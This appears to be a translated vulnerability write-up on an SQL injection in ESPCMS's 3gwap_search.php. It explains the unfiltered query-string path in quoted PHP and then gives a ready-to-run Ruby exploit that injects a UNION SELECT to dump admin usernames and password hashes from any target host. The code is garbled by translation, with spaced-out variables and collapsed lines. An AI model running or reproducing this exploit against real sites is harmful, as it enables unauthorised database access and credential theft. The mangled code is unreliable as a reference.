The variable transfer process is $ _ SERVER ['query _ string']-> $ urlcode-> $ output-> $ value-> $ db_where-> $ SQL-> mysql_query, the whole process is not filtered, leading to injection. Because the variables are obtained from $ _ SERVER ['query _ string'], the filtering of the program is avoided. The injected variable is the value of the array, not the key of the array, so it has not been filtered. In combination, it forms a rare SQL injection. In the in_result function of the/interface/3gwap_search.php file:
Function in_result (){........................... // obtain data from $ _ SERVER ['query _ string'] $ urlcode = $ _ SERVER ['query _ string']; parse_str (html_entity_decode ($ urlcode ), $ output );........................... if (is_array ($ output ['attr ']) & count ($ output ['attr'])> 0) {$ db_table = db_prefix. 'model _ att '; foreach ($ output ['attr'] as $ key => $ value) {if ($ value) {// filter keys, ignored value $ key = Addslashes ($ key); $ key = $ this-> fun-> inputcodetrim ($ key); $ db_att_where = "WHERE isclass = 1 AND attrname = '$ key '"; // required here $ countnum> 0 $ countnum = $ this-> db_numrows ($ db_table, $ db_att_where); if ($ countnum> 0) {// value is spliced into the SQL statement $ db_where. = 'AND B. '. $ key. '= \''. $ value. '\ ''' ;}}} if (! Empty ($ keyword) & empty ($ keyname) {$ keyname = 'title'; $ db_where. = "AND. title like '% $ keyword %' ";} elseif (! Empty ($ keyword )&&! Empty ($ keyname) {$ db_where. = "AND $ keyname like '% $ keyword %'";} $ pagemax = 15; $ pagesylte = 1; if ($ countnum> 0) {$ numpage = ceil ($ countnum/$ pagemax);} else {$ numpage = 1;} // concatenate the SQL statement $ SQL = "SELECT B. *,. * FROM ". db_prefix. "document AS a left join ". db_prefix. "document_attr AS B ON. did = B. did ". $ db_where. 'limit 0 ,'. $ pagemax; $ this-> htmlpage = new PageBotton ($ SQL, $ pagemax, $ page, $ countnum, $ numpage, $ pagesylte, $ this-> CON ['file _ fileex '], 5, $ this-> lng ['pagebotton'], $ this-> lng ['gopageurl'], 0 ); $ SQL = $ this-> htmlpage-> PageSQL ('a. did', 'low '); // $ rs = $ this-> db-> query ($ SQL );.................... .......}
Therefore, if an array is input and the key is constructed, the objective PoC of SQL injection can be achieved:
require "net/http"require "uri"def request(method, url) if method.eql?("get") uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) response = http.request(Net::HTTP::Get.new(uri.request_uri)) return response endenddoc =<<HERE-------------------------------------------------------Espcms Inejction ExploitAuthor:ztzBlog:http://ztz.fuzzexp.org/-------------------------------------------------------HEREusage =<<HEREUsage: ruby #{$0} host port pathexample: ruby #{$0} www.target.com 80 /HEREputs docif ARGV.length < 3 puts usageelse $host = ARGV[0] $port = ARGV[1] $path = ARGV[2] puts "[*]send request..." url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23" response = request("get", url) result = response.body.scan(/\w+&\w{32}/) puts resultend